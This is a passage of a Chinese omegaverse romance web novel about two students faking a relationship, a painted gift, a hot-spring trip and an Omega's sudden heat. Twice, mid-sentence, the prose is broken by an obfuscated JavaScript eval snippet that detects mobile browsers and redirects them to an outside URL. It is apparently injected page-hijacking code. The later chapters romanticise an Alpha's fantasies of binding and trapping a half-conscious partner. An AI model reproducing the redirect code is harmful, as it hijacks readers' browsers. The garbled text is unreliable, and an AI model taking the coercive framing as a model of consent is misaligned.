商随呆呆站在原地,没想到这份礼物来得这么快。 他以为时绮会先抓住他的手,毕竟百分百匹配度的信息素比他本人更具诱惑力。可对方却选择了完完全全的拥抱。 须臾过后,他才逐渐适应,原本僵硬的身体慢慢放松,商随顺从心意闭上眼睛。 好温暖。 被时绮拥抱的感觉令他也像四周降落的夜雪一样融化,从依偎的另一个灵魂里汲取到他一贯缺乏的勇气。 他重新睁开眼睛,试探性地伸出手,慢慢回抱住时绮。 因为嗅到了更多甜蜜馥郁的气息,怀里的人开心地贴近他。 ……太好了。 商随想。 能在雪夜得到一个亲密无间的拥抱,这样太好了。 15.白月光 一同聚餐的社团成员里,有一个男生也是Omega。对方先是送林言回了宿舍,又特意下楼等时绮。 醒来以后,时绮十分不好意思,给男生买了一堆小蛋糕作为谢礼。 听对方说,他只带他上了楼,实际是商随将他送到宿舍楼下的。 时绮对昨晚的记忆停留在火锅店,之后就跟喝醉一样意识不清。脑子里依稀闪过零碎的片段。商随似乎哄了他一路,费了不少力气。 自从高中有一次喝醉后丢过人,时绮几乎不碰酒。 没想到特效抑制剂的副作用让他再度体验了一把丢人的滋味。又一次麻烦商随,时绮有些过意不去。 找机会也谢谢他一下好了。 林言准备送那名社团成员各种味道的阻隔剂作为谢礼。时绮看见他的大礼包,迟疑地问:“送这个合适吗?” “一看你就不常有发情期。”林言信誓旦旦,“这你就不懂了吧,我们Omega之间送这个最实在。” “我准备送齐市面上常见的味道,还差两种。南门那家超市发了朋友圈,他们过两天好像要进货。”林言边看手机边说,“但我当天下午有课,你能不能帮我买一下?雪松可是热门口味,要靠抢的。” 时绮比了个OK的手势。 他划开手机,登录社交账号,原本只是随便上去看看,见到许多人@他、并且发送了比赛那天的图片和视频,时绮才想起还有这茬。开始逐一欣赏大家的大作。 [请速来观看我们海藻姐的4K直拍!指路@Algae_1717,双机位闪耀的美貌!] [17那天穿得太上镜,随手一咔就跟大片似的。] [那个腰链一样的皮带太妙了……] [卡后拍和db那两段视频好多人转,今早在食堂看见前面排队的姐妹也在刷,立即冲上去认了个亲!] …… [啊啊啊啊你们有没有注意到,17因为身体不适晕倒了,有个好帅的Alpha上台抱他下来,帅哥还是留的长发我的天!最开始大家都没反应过来,后面才有人举手机拍摄。气氛超暧昧!] [老公宝宝你给自己找了老公吗?如果是这个能把你公主抱的帅哥我会安心祝福的!就是你俩体力差距好像有点大,床上小心啊——] [知道的以为是喂糖,不知道的以为他俩在台上do起来了。] [不过目前的视频都比较模糊,没拍到帅哥的正脸。藻姐有没有这一段的直拍,求求你放出来吧!我就指望这个片,不是,我是说这个视频过日子了。] 以前大家的评论都是宝宝长宝宝短,现在不知道受了什么刺激,一个比一个黄暴。 时绮看见画风逐渐奔放的留言,心说你们编小黄书呢。幸好商随看不见,要不然他真没脸见人了。 正这样想,是一个名为“Algae_1717”的账号给他留了言。 [1717!我那天有拍下你朋友喂糖和抱你下台的全过程,但不知道你们介不介意,我先来问问你。] 时绮冷血无情回复。 @1717177:[别发。] 对方答应得很快。 @Algae_1717:[好的好的!] 很快有人发现他俩的对话: [你什么意思?!有什么是妈妈我不能看的!] [求你了绮儿给我看一眼吧,看不到你们在台上那个我浑身难受……] [漏!我的4K喂糖大直拍。] [宝宝你不会私信藻姐要视频,一个人背着我们偷偷看吧?] 搞笑,他会做那种事? …… 看一下也没事吧。 毕竟当时晕了过去,他对现场的情况还挺好奇的。 时绮说服了自己,火速私信对方: @1717177:[你好,视频可不可以私发我一份。] “Algae_1717”似乎误会了什么,异常激动。 [可以可以可以!] [小绮放心!这个视频我绝对不外传,一定保护好你们的隐私!!] 时绮给她发了个谢谢,那边很快把视频传了过来。 看见商随捏他的后颈、将糖硬塞进他嘴里,时绮脸颊逐渐发热。 搞什么。 他怎么还依依不舍含了一下商随的手指…… “时绮你看什么呢?脸这么红。”林言路过,见时绮缩在床上表情奇怪,“你不会背着我看片吧,有好东西发我一份。” 时绮佯装淡定:“没看什么。” 林言思维跳跃,盯着他突然道:“哎时绮,你自己弄过吗?” “?”时绮问,“弄什么?” “发情期啊!自-慰!” 时绮双眼乱瞟,看见暂停的画面上商随修长漂亮的手,身体莫名一软,手机啪叽一下砸在身上。 林言一看他的反应,兴冲冲追问:“那你是不是根本没用过——?” Omega的满足方式与常人不同,时绮似乎只做过最简单的部分,都没有好好感受过真正获得快乐的途径。 “……没有。” 林言立即进行一通大科普。时绮被他说得渐渐睁大眼睛,最后飚了脏话:“靠,需要做到这种地步吗?” 他信息素水平低,通常打了抑制剂就再也没有特别的感受,最多只会弄一下前面。 他以为大家都是终生标记一类才会做到最后,怎么简单的发情期也需要…… “啧啧啧,”林言看他这么纯情,最后总结,“就你这样子,以后等着被人欺负到死吧。” “……” 时绮扔了个抱枕下去,正中林言的脑袋。 林言不计前嫌扔回来,准确砸中时绮。 在两人幼稚地相互殴打时,姜宥宁给时绮发了消息。 姜宥宁:[最近过得怎么样?我来偷偷给你打钱了。] 17:[?] 17:[现在才来,你好可疑。] 姜宥宁:[那不是因为小安爸爸最开始盯得紧吗,我跟爸都不敢偷偷支援,但我们一直心系着你!] 姜宥宁:[……好吧我招供。其实是小安爸爸让我伪装成发零花钱的知心大姐姐,前来刺探你的口风。] 姜宥宁:[但我真的很好奇,你那个男朋友究竟从哪儿冒出来的?] 姜宥宁:[我保证不告诉爸爸们!你跟我说句实话呗。] 似乎为了证明自己的清白,姜宥宁说完,给时绮打了一大笔零花钱过来。 林言在这时问:“时绮,要不要去滑雪?还有泡温泉。” “秦书赫他们在约,都从美院约到A大了,小桃姐也要去。” 初桃是舞社的社长,她去的话,舞社应该有不少人也要去。 时绮又过上了随便花钱的日子,很快答应:“去。” 姜宥宁还在手机上追问,时绮正准备告诉她真相,下一秒又觉得这可能是碟中谍,不能轻易相信。 他在心里说了句姐姐对不起,而后回答:[他真的是我男朋友,具体的以后告诉你。] 时绮多少有点儿愧疚,难得嘴甜了一回:[谢谢姐姐给我打钱。] 姜宥宁:[真的?……好吧。] 姜宥宁:[其实我今天在网上看见他抱你的视频了,就你们学校舞蹈比赛那个。] 因为时绮不太好意思让长辈看见动态,家里只有姜宥宁知道他的社交账号。 时安他们倒是很尊重时绮的想法,从没在网上特意搜过他。 姜宥宁刷到的视频很模糊,播放和点赞量却高得惊人。 抱着时绮的Alpha看不清脸,但仅凭身形和气质,也必然样貌出众。 姜宥宁实话实说:[不知道为什么,看见他我有一点不爽。] 难道是因为弟弟被这人抢走了? 时绮思考片刻,为她排忧解难。 17:[可能因为你们都是美术生和Alpha,撞赛道了吧。] 姜宥宁:[……] 姜宥宁:[有点道理。] - 秦书赫不仅从美院约到A大,甚至从学生约到老师,试图把商随叫上一起滑雪泡温泉。 准确说来,最近只要有聚会,他都会问一问新来的助教老师。 商随参与的次数不多,但大家都很喜欢他,一有活动就想把他叫上。 [哥,要不要去滑雪?] [小重山有个新开的雪场,最近山里雪特别厚。温泉酒店也是新开的。] 想到商随和时绮认识,秦书赫补了一句:[对了,时绮也要去。] 商随的目光落在最后一句,已经输入的“不了,你们玩开心”被一一删掉,他重新打字。 Ss:[好。] 秦书赫:[!] 秦书赫:[哇!好!!我们周五下午出发,去过周末,哥你看看这个时间安排可以不。] 商随回了一个可以,将手机放到一旁,继续画画。 画布上清透的金色层层叠叠渲染开来,台上的舞者与台下的人群都陷在变化的光影之中。 商随对目前的画面不太满意,正考虑如何表现记忆里仿佛燃烧的场面,江砚的电话打了过来。 他懒得拿手机,直接开了外放。 “哥们儿,我有一个惊为天人的发现。” “上次那小孩儿点醒了我,既然Alpha和Alpha可以在一起……”江砚顿了顿,“你做好心理准备啊,接下来的事情我怕你承受不住。” 商随心不在焉:“说。” 不料下一秒,江砚平地起惊雷:“我想了又想,我觉得沈千俞暗恋你!” “……”商随手一抖,险些没握住画笔。 回过神来,商随直接道:“你有病?能别恶心我吗?” “我有一种感觉,只要你一声令下,哪怕杀人放火沈千俞都会帮你办。”江砚辩证道,“这不是爱是什么?” “……” “对了,我也不是说你真的要去违法犯罪啊,这只是一个比喻。” “不知道为什么,虽然你没做过什么特别出格的事儿,但我总感觉你疯疯癫癫的。”江砚自顾自地说完,又找了个理由,“这难道是艺术家的通病?” 商随没有搭腔,江砚对他的脾气很了解,知道他即将冷酷无情挂掉电话,连忙挽留:“哎等等等等!我还没说完!” “你以前不是有个白月光吗?” 玩得近一些的朋友都知道,商随曾经有喜欢的人。 不过他鲜少提及对方的事情,大家都只知道有这么一个人存在。距离上一次提起已经过去很多年,现在应该不喜欢了。 “所以沈千俞暗恋你也不敢说,很合理吧?” 商随突然说:“之前让你挖掉腺体,是沈千俞不对。” 江砚以为他终于被自己说服,立即附和:“对啊对啊!” “你该去查一下身体激素。” “?” “看看大脑是不是从十岁起就停止发育了。” “……” 挂电话之前,商随补了一句:“不是以前。” 被挂掉电话,江砚半天没反应过来。 …… 不是以前什么意思? 商随那白月光,总不可能现在还没变吧? - 为了帮林言凑齐阻隔剂大礼包,时绮一看见超市进货的消息立即出门。不负所托买到林言指定的雪松味。 时绮看着店员背后一排琳琅满目的阻隔剂,目光被最上排橙黄底色、绘制白花的包装吸引。 他信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931886|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息素水平低,用这玩意儿的时候少,都没有随身携带的习惯。 时绮犹豫片刻,示意道:“再要一个蜂蜜味的。” 结账的时候,店员多说了一句:“蜂蜜是新出的季节限定,你还是第一个购买的呢。” 见时绮面露疑惑,店员解释:“一般大家都喜欢雪松或杉木一类偏冷的味道,喷在身上,比较有被Alpha拥抱的感觉。” “为什么,甜甜的不是很好吗?”时绮说出心里话。 “——我也觉得。” 略带笑意的声音令时绮犹如被按下暂停键,整个人愣在原地。 他回过头,来人身上薄荷绿的围巾和毛衣都毛绒绒的,缀有钻链的耳圈轻微摇晃,几乎快垂到大衣上。一排玫瑰金耳骨钉同样一闪一闪。 伴随着室外的飘雪和冷气,商随收了伞,正饶有兴趣看向这边。 等离开超市,那句“被Alpha拥抱的感觉”一直萦绕在时绮脑海,经久不散。 他侧过头,犹豫地看向身边的Alpha。 上次见面商随的耳骨钉好像还没这么多,是又打了一个? 听林言说打耳骨很疼,打在那么里面的位置,商随真是不怕痛。 …… 不行,还是解释一下吧。 时绮思来想去,主动道:“我只是喜欢偏甜的味道,没有别的意思。” “啊,那你不喜欢我吗?” “?”这是一码事? 不等时绮反应,商随变脸似的,立马换上委屈的语气:“好伤心。” “……”时绮说不过他,只能转移话题,“上次聚餐,谢谢你送我回去。” 商随笑了笑,将手里的袋子递给时绮:“送你的。” “是什么?” 袋子很大,比想象中还要沉,商随单手提着合适,时绮目测了一下大小,下意识伸出双臂抱住。 “是画。”四周还在下雪,商随撑着伞,示意他靠近一些,“回去再拆吧,我送你到宿舍楼下。” 时绮意识到什么:“是你画的吗?” 见商随点头,时绮抱紧手里的袋子,怕沾到飞雪。 他好久没有因为包装里看不见的东西充满好奇和期待。想到是商随一笔一笔亲手画的,时绮不由自主把袋子抱得更紧了些。 “如果不喜欢的话,可以叫我拿走。”商随稍作停顿,玩笑似地说,“不要扔掉。” 说得这么可怜兮兮干什么。 他怎么可能扔掉商随的画? 回到宿舍后,时绮一边想,一边拆掉包装。 他愣了几秒,而后匆匆找到手机,对着这幅画一通狂拍。 商随画的是落日舞台的景象。与现实不同,他用一种微妙缱绻、恰到好处的灰紫色作为背景,代表落日的浅金漂浮其上,犹如波光粼粼的水面。 舞台中央的人一身黑衣,细节处却有乍一看刺眼的跳色作为点缀,令画面中心并不暗沉。 时绮的脸被模糊处理,没有勾勒具体面容。他单手下压,冲破一切的气势呼之欲出,隔着画布也能感受到狂欢般的氛围。 末了,时绮小心伸出手,忍不住轻轻触碰了一下画上的自己。 商随把他画得真帅啊。 看见这幅画,竟是令他又一次想起站在舞台上的心情,连当时摇摇欲坠的晕眩、风吹过耳畔的动静都在脑海一一浮现。感染力强烈得不可思议。 时绮挑来挑去,始终觉得照片不如这幅画本身抢眼,只能勉强选中一张最好看的。 他在朋友圈发了一条,嫌不够,社交软件又发了一条。 17:[夸。]【图片】。 几乎是刚发出去,林言就留了言。 言言:[OMG好传神!] 言言:[我当时在台下看你就是这种感觉,要在舞台上登基了!] 秦书赫:[这谁画的?构图好厉害,而且怎么能把颜色叠这么清透,是用的水粉?但好像比水粉厚重,油画?] 秦书赫:[你哪来这么牛逼的人脉。] 秦书赫从专业角度一通称赞,时绮看着高兴,就跟自己被夸了似的。 17:[赏。] 17:[今晚带你上分,破例允许你玩中单。] 秦书赫:[谢主隆恩。] 社长也在下面兴冲冲评论。 初桃:[呜呜呜呜好有张力的美!看完大家拍的现场照片,再看这种完全不同类型的好有故事感,皇上的猫颜就该被全方位记录!] 17:[?] 初桃:[不是,我是说龙颜。] 朋友圈和社交账号一片夸赞。还有一名爱好艺术收藏的长辈,看见后特意发消息问他是谁画的,方不方便介绍。 时绮正不知道如何回复,商随本人也看见了这条动态,在他朋友圈评论: Ss:[喜欢就好,周五见。] 17:[嗯,非常喜欢。] 17:[周五见。] 林言同样看见了商随的消息。 言言:[是你画的?我去,我也要叫你哥了。难怪秦书赫每次上完课都跪着。] 言言:[哥你也跟我们一起去雪山吗?Nice!热闹热闹。] 时绮又欣赏了一会儿商随的画,找了个合适的位置摆着。看来看去觉得寝室太小,准备放假把画带回家。 忙完这一切,他坐下来开了一瓶水。看见消息提示商随回复了林言。 时绮一边喝水一边划开手机,点开一看猝不及防被呛住,一口气险些没提上来。 Ss:[是呢,我要去好好服侍皇上^^] Ss:[好开心。] ……他的朋友圈里就没有商随在乎的人了吗? 就算假扮情侣,商随到底是怎么把自己代入这种角色的!! 16.宝宝 秦书赫和初桃效率很高,两人统计了参加活动的人数,订了两辆SUV。到了预定酒店的环节,考虑到队伍里有两对情侣,初桃一一在群里核对。 [小苏你跟你男朋友住一间?] 被叫到的Omega发了一个兔子说OK的表情包。 初桃继续道:[小绮,你跟随哥住一间?] 时绮看见消息,想也不想回答。 17:[我们分开。] 初桃:[?] Ss:[?] ……商随发什么问号,看热闹不嫌事大吗。 秦书赫疑惑地问:[他俩为什么住一间?] 初桃:[你不知道?他俩是情侣啊!] 秦书赫:[……啊??你说谁和谁???!] 秦书赫回过味儿来,以为他俩是上次带商随逛美院时勾搭上的: [时绮!这么大的事情你怎么不告诉我呢,要我说我也算你俩月老吧,不是,哥们儿这下真有点寒心了!] [还有哥,你怎么也不告诉我一声?我不是你最爱的学生了吗!] 时绮看着秦书赫那一大串消息就头晕,发自内心回了一句。 17:[你真不愧是话包。] 秦书赫:[……] 时绮想了想,回复初桃的消息。 17:[我们吵架了。] Ss:[是哦,要暂时分居。] 时绮都不知道怎么吐槽他,旁边的林言发出一声爆笑:“哈哈哈哈哈商随这人讲话真好玩儿!说得跟你俩住一起过似的!” 初桃似乎也被他们逗乐: [好的好的~小情侣嘛,有点摩擦正常。] [那我给你们定两个房间。] 周五出发,时绮看了眼小重山的天气预报,白天都还算阳光明媚,但周六晚可能会下暴雨。 秦书赫一见到他就吵吵嚷嚷:“时绮!那天你强行把我哥带走,我就知道你强抢民男、不安好心——” 时绮不耐烦,索性跟着瞎扯:“没错,都是我强迫的。如果他不从了我,他就别想在首都混下去。” “……真、真的?” 一般人说这话像在搞笑,但时绮说出这种恶霸似的发言,还真有点儿可信度。 时绮正想说你猜,拉开车门看见商随坐在最后排,原本懒洋洋的表情一变。 秦书赫正处于情感与道德的交锋之中,在后面大声嚷嚷:“这不好吧?虽然不管你做什么我都站在你那边,但你要不要采取柔和一点的方式?比如勾引他一下什么的——” 商随朝时绮抬起手,晃了晃打招呼。指根处亮晶晶的戒指引得时绮目光停留。 回过神来,听见秦书赫越说越离谱,时绮嘴角抽了抽。 什么勾引,什么乱七八糟的! 商随不在他可以胡言乱语,一看见本人,时绮立即回过头,急中生智打岔:“你昨天看的剧还挺狗血的,台词你都背得住。” 他说完拼命对秦书赫使眼色,同时小声提醒:“别说了!商随在车里。” 秦书赫看见商随,改口道:“是!记性好吧?我就好看点强制爱。” 他也学着时绮压低声音,半真半假感慨:“敢做不敢当,唉!” 时绮:“……” 司机帮忙把他们的行李放在后备箱。时绮稍微犹豫,还是去了最后一排,只是刚好跟商随一左一右,中间隔了一个空位。 “你坐那么远干什么?” 几乎是商随话音刚落,副驾驶的秦书赫立即回头,双眼炯炯有神盯着他们,显然对他俩的感情状况十分感兴趣。 时绮面无表情,抬手在脖子上抹了一下,示意他敢多逼逼就杀头。 秦书赫只能讪讪转过身。 “因为我们吵架了。”时绮小声提醒,“现在要保持一点距离。” “噢,忘了。”商随笑笑,配合地放轻声音,“要我哄你吗?” “……不用。” 其他人陆陆续续上车,初桃最后一个上来,看见最后一排就忍不住笑:“你俩从现在就开始分居啦?” 她边说边看了一圈:“人都到齐了?” 得到大家的回应,初桃用对讲机联系另一辆车上的林言:“我们这车没问题,出发出发!” 上路没多久,时绮就感到一阵倦意。 他作息长期颠倒,这个点正是犯困的时候。没过一会儿,逐渐睁不开眼睛。 不知是不是车内暖气太足,身体里始终有一股挥之不去的燥热,他不太舒服地皱起眉,恍惚中嗅到令人舒心的气息,下意识朝源头靠近。 商随在他快要栽倒时伸出手,用手掌托住时绮的脸。 他轻轻坐到时绮身边,带着他靠过来,让时绮睡在自己肩膀上。 秦书赫无意中回头,见他们已经亲密地靠在一起,顿时把时绮的警告忘到大脑后:“哥,时绮说他强迫你跟他在一起,真的假的?” 时绮的少爷脾气不是一朝一夕养成的,不仅长辈惯着他,姜宥宁也是无法无天的性格。 秦书赫还记得刚上大学时,有一次跟时绮他姐吃饭,聊到找对象,姜宥宁轻描淡写道:宝宝你以后不能找条件太好的Alpha,至少不能比我们家好,这样结婚后你才能随便欺负他,惹你生气了就关在家里。 姜宥宁这番暴言听得秦书赫一个Beta目瞪口呆,更要命的是,当时刚成年的时绮顶着一张天使一样清纯的小脸,在旁边点了点头。 所以时绮刚才扯淡的时候,秦书赫是真的有一瞬间相信的。 但仔细想想,先前他以为商随跟他们上一任助教差不多,都是老谢惜才招进来的,时间久了,从商随的衣服首饰看得出他条件很好,来美院任职更像出于爱好。况且商随的个性与受人摆布也完全不搭边。 秦书赫估计时绮只是开玩笑。不过依旧觉得他俩谈恋爱很神奇,想多问两句。 初桃原本在玩手机,闻言用气音尖叫:“哇噻!强迫!” 车上还有一对情侣,那名Omega兴奋地拽了一下自己的Alpha,似乎还在嘀咕好刺激。 在大家好奇的目光里,商随用轻飘飘的语气不正经道:“原来是你强迫我啊,小绮?” 时绮似乎觉得吵,不太高兴地钻进商随的颈窝里,看起来就像拒绝回答。 感觉到柔软的发丝贴着自己的脖颈摩挲,商随伸出手,捂住时绮的耳朵:“乖,睡吧。” 做完这一切,他抬头看秦书赫: “你觉得呢?” 秦书赫做了一个缝嘴巴的动作。 得,懂了。 就凭刚才抬眼那个气势,想来没人能欺负他哥。 车开了三个多小时,终于抵达雪山里的温泉酒店。 时绮一觉睡醒神清气爽,下车等着拿行李。商随在他后面下来,抬手活动了一下快被压麻的肩膀。 想到自己不知不觉把人家当成靠枕压了这么久,时绮不太好意思:“你疼不疼?” “没事,一会儿就好了。”商随自然而然道,“你不跟我闹别扭就好。” 时绮一愣,见旁边的初桃一脸慈爱地看着他们,才意识到商随是在配合他扮演情侣吵架。 时绮张了张口,不知该如何接招。 “怎么不说话。”商随笑吟吟的,眼里却流露出恶劣的神色,“睡傻了吗,宝宝?” 这回不止初桃,连秦书赫都吹了个口哨。 我靠……! 商随叫他什么?! 时绮睁大眼睛,彻底傻掉。 慌乱之中,他下意识抬高声音:“谁是你宝宝?叫这么亲密干嘛呢!” 他也不管其他人的反应,从司机手里抢过行李丢下一句谢谢就走,怎么看怎么像落荒而逃。 秦书赫简直没眼看,想到时绮还敢说自己强迫商随,人家不调戏他都算好的了。 初桃怕时绮一个人走错位置,提着行李追他:“哎呀小绮!等等我!” 好不容易追到时绮,初桃想起一件事:“之前比赛结束,顾澄第二天就退社了。” “……嗯?哦。” “你也觉得无所谓吧,我也一样,随便他。” 初桃耸耸肩,刚才的景象在脑子里过了一遍,她忍不住问:“你准备多久跟随哥和好啊?我看他挺宠你的。你看小苏跟他男朋友,小两口甜甜蜜蜜的,晚上泡个温泉再亲热一下多好……哎呀小绮!当心前面——!” 时绮的思维已经凝固在下车那会儿,根本没心思看路,一不小心撞上酒店的玻璃门。 初桃被他吓了一跳。索幸他走得慢,撞一下也不算疼。 在初桃担忧的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946401|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光里,时绮飞速办理入住,仿佛背后有鬼追一样逃进自己的房间。 进门后时绮背靠门板,好一会儿才缓过来。 也没事吧。 他自我安慰。 反正叫他宝宝的人那么多,商随叫两声也没什么,而且这不是演戏吗。 身体里的燥热越来越盛,时绮看了一眼镜子,见自己脸颊上的绯红一路蔓延到脖颈,双眸隐隐泛起水汽。 ……看起来也不像没事的样子啊?好不争气。 他忍不住腹诽了句。 …… 不对。 时绮迟钝地意识到,自己的反应好像不仅仅是因为那声宝宝。 他似乎又发情了。 这一次的发情期来得又快又猛,身体里传来一阵又一阵热意。趁着还算清醒,他赶紧拿出随身携带的阻隔剂喷了一下。 却没想到,蜂蜜的气味令他更为晕眩。 时绮手脚发软地打开行李箱,好不容易翻到抑制剂,正要打下去,突然想起林言的提醒。 因为上一次用了特效抑制剂,短时间内,普通抑制剂对他根本没作用。 也很可能是特效抑制剂的副作用,他的发情期才被打乱,来得这么猝不及防。 怎么办? 如果这东西没有用,那他岂不是只能自己…… 时绮呆呆地跪坐在地上,甩了甩脑袋,努力保持清醒。 先去找林言吧? 先问问林言在哪个房间……刚才把手机放哪儿了? 有人在这时敲了敲他的门:“时绮,你换好衣服了吗?” 是秦书赫。 之前初桃说过行程安排,到酒店后,大家先去泡温泉,可以边泡边喝点儿饮料,晚些时候再去吃夜宵。 想来大家都换好了浴袍,秦书赫见他一直没出来,才特意过来找他。 秦书赫是Beta,不会受信息素影响,时绮放心地开了门,想让对方直接带他过去。 门一推开,时绮踉跄一步,险些没站稳。 秦书赫愣了一下,赶紧伸手扶住他。见时绮脸红得不正常,犹豫地问:“你是不是……?” “带我去找林言。” 什么时候还闹别扭呢。 秦书赫想。 哪有谈了恋爱的Omega发情期不找自己的Alpha的? 而且看之前在车上的样子,时绮和商随感情明明就挺好的。 想着这也算破冰的机会,秦书赫当机立断拐了个弯,把时绮往商随的房间带。 说不定这场意外到来的发情期就让他俩和好了呢? 秦书赫越想越觉得有道理,心说哪有他这么体贴的兄弟。 迷迷糊糊中,时绮感觉秦书赫在一扇门前停下,抬手敲了敲。 开门的Alpha披着浴袍,偏低的领口令他胸口的皮肤露出一大片。隆起的肌肉逐渐陷入浴袍的阴影里,蕴含着男性特有的爆发力。 秦书赫跟他说了什么,商随看向不甚清醒的时绮,后者双眼出神地望着他。 尽管还有一部分图案被浴袍遮住,时绮第一次看清楚商随锁骨处的纹身。 原来不是花。 纹身的主体与写意的线条如花一般相缠,被细线串起来的数只蝴蝶逐渐融化,美丽又易碎。 时绮出神地望着他锁骨处轻盈翩然的图案,半晌之后,猛地反应过来。 不对,为什么是商随? 像是看出他在想什么,商随冲他笑笑:“怎么把你送到我这儿了?” 商随慢条斯理地打量时绮。灯光下,他浅褐色的瞳眸泛着幽幽的光,如同狩猎状态下贪婪的兽类。 时绮一个激灵,猝然清醒。 秦书赫这个笨比,怎么还分不清楚林言和商随两个人—— 时绮想回头叫住走远的秦书赫,却被人一把捂住嘴,微弱的声音都被掩盖。 唔,好香…… 时绮被他捂着口鼻,如同被下了药,在甜蜜的信息素包围中重新变得晕晕乎乎。 “身上都是和我差不多的味道。” 商随嗅到阻隔剂的气息,抓住时绮细细的手腕,将人拉进怀里。 他的声音染上不易察觉的兴奋,抱着时绮进了房间,像是将妄想逃脱的猎物拖进巢穴。 “你还想去哪?” 17.帮助 时绮一靠近商随就头晕目眩,本能感受到即将被吞噬的危险。 呼出的热气全部落在商随掌心。时绮仰着脖子,求救一样小声喘息。 “林言……”时绮听见他问自己想去哪,断断续续回答,“我想去找林言。” “找他干什么。” 听见另一个人的名字,商随眼中幽光更盛,声音却异常温柔,诱哄一样道:“我也可以帮你,我比他管用多了。” 他一边说,一边邀请一样攥住时绮的手,往自己脖颈上贴:“你试试我吧?” 时绮脑子烧得厉害,一时半会儿没能转过弯。 听见商随要帮他,时绮条件反射想起社交账号下的污言秽语:发情期的时候一定要找人家帮忙啊,今天喂奶糖,到时候就可以喂牛奶了。 他一开始还没明白牛奶是什么意思,一堆人在下面嘿嘿嘿嘿,才猛地反应过来。 想到这里,时绮触电一样抽回手,告诫自己:“不行——!停!” 不能再想了,再想他就要……! 怎么会这样。 时绮头一次感到绝望。 要是商随发现,不会觉得他有病吧? 时绮在心里疯狂自我安慰。 发情期有点反应是人之常情,情理之中,中路不准玩亚索……随便什么都好,不要再想那些了! Omega白皙的脖颈蔓延开桃花般的颜色,一路延伸至衣领下。后颈的腺体微微鼓起,已然违背主人的意愿,迫不及待做好被注入信息素的准备。 商随被他用力挥开手,微微眯起眼睛。 有那么一瞬间,时绮的抗拒令他几乎想顺应脑海中蠢蠢欲动的念头。 只是标记还不够,最好把人绑在床上,嘴也堵住,以免再次说出拒绝的话。 稍微想想那副画面,就令他兴奋得指尖都微微发抖,脊背也仿佛过电。 江砚脑子不好使,直觉倒是很准确。 他确实疯疯癫癫,不怎么正常。 失控般的冲动后,商随压下翻涌的欲念,状似好心问:“找林言的话,他能帮你做什么?” 比起强迫,他更喜欢看时绮一步步走进编织好的陷阱里,最终完全沦陷。 果不其然,时绮被这个问题困住,茫然地回望他。 得知抑制剂不管用的那一刻,他下意识想寻找熟悉的事物…… 可就算见到林言,其实起不到任何作用。 林言最多教他怎么自己解决。他至少会消耗一周时间,总不可能一直让对方陪着。 况且Omega发情会相互影响,如果害得林言也变成这样,大家都别想好过。 但是……谁还能帮他? 原本抓住他手腕的五指毫无预兆松开。时绮下意识看向商随,不明白对方为什么突然和他保持距离。 他的反应就像被人捕获的小动物,会因为温柔亲热的抚摸而害羞,想要躲进角落。 但当那双手真正离开,又对突如其来的自由无所适从,探头探脑期盼着重新靠近。 “既然这样,你去找他吧。”商随看似体贴地拉开门,“林言住在走廊尽头的房间,我之前遇见过。” 一旦和商随拉开距离,头晕目眩的状况就要缓解许多,但这样反而带来了新一轮折磨。 正因为尝过被安抚的滋味,这种戒断一样的清醒令时绮备受煎熬。 比起被放置在一旁,某一瞬间,他甚至更渴望像先前一样被Alpha甜蜜的气息禁锢。 时绮从喉咙里挤出微弱的抗议:“不要……” 商随看着他半只脚踏入陷阱而不自知的模样,眼里一点点染上愉悦。 “这也不要那也不要,小绮,你到底要什么啊?” 时绮循着声音抬头,撞进Alpha狐狸似的眼眸里。 昏昏沉沉的大脑犹如生锈的齿轮,转动时总是慢半拍。他终于意识到谁才能真正拯救自己。 “你能不能……临时标记我。” 他和商随的匹配度很高,只要得到足量的Alpha信息素,发情期很快就能结束。 商随不动声色:“你想我怎么做?” “咬一下,”时绮磕磕绊绊地说,“咬我的腺体。” 只是咬一下? 商随在心里叹了口气。 好可惜。 还以为趁着不太清醒,时绮说不定想和他上床呢。 不过对某个迷迷糊糊的小笨蛋而言,能主动提出临时标记,已经很不容易。 时绮见他不说话,忍不住问:“你不愿意吗?” 相识以来,商随对他一向纵容,时绮从没想过自己会被拒绝。 半天没等到肯定的答复。发情期放大数倍的羞耻心、第一次被拒绝的失落……各式各样的情绪搅拌在一起,一同浮上来的还有一丝蛮不讲理的委屈。 时绮甚至烦躁地想:只是咬一下,又不要商随和他上床,也没多吃亏吧。 这时候的心情本就受到体内的激素影响。他也不知道自己哪来这么大的脾气,都暂时压过了依赖Alpha的本能。 时绮咬了咬牙,眼眶有些发热,不管不顾就要往门口走:“实在不行就算了,我自己想办法——” 不等时绮再往前一步,修长结实的手臂勾住他的腰,将他往怀中一带。 时绮一个踉跄,险些没能站稳。 商随将他从背后抱起,一脚踢上门,多出来的那只手利落地落了锁。身体力行地告诉他究竟愿不愿意。 感觉到与自己紧贴的肌肤传来灼热的温度,时绮低着头,本就泛红的面颊几乎有冒烟的趋势。 朦胧之中,他突然觉得哪里不对。 他知道自己在同身高的男生里不算重,跟商随的体型也相差不少,但商随怎么能单手就把他抱起来……? 拖鞋在Alpha抱着他移动时落在地上,发出清脆的声响。时绮白皙纤瘦的双脚踩不到地,在空中徒劳地踢了两下。 不等时绮多想,他被一把丢到床上。 酒店整洁的床铺飘溢着沉静的乌木香气。一想到这是谁的床,时绮下意识往角落里缩。 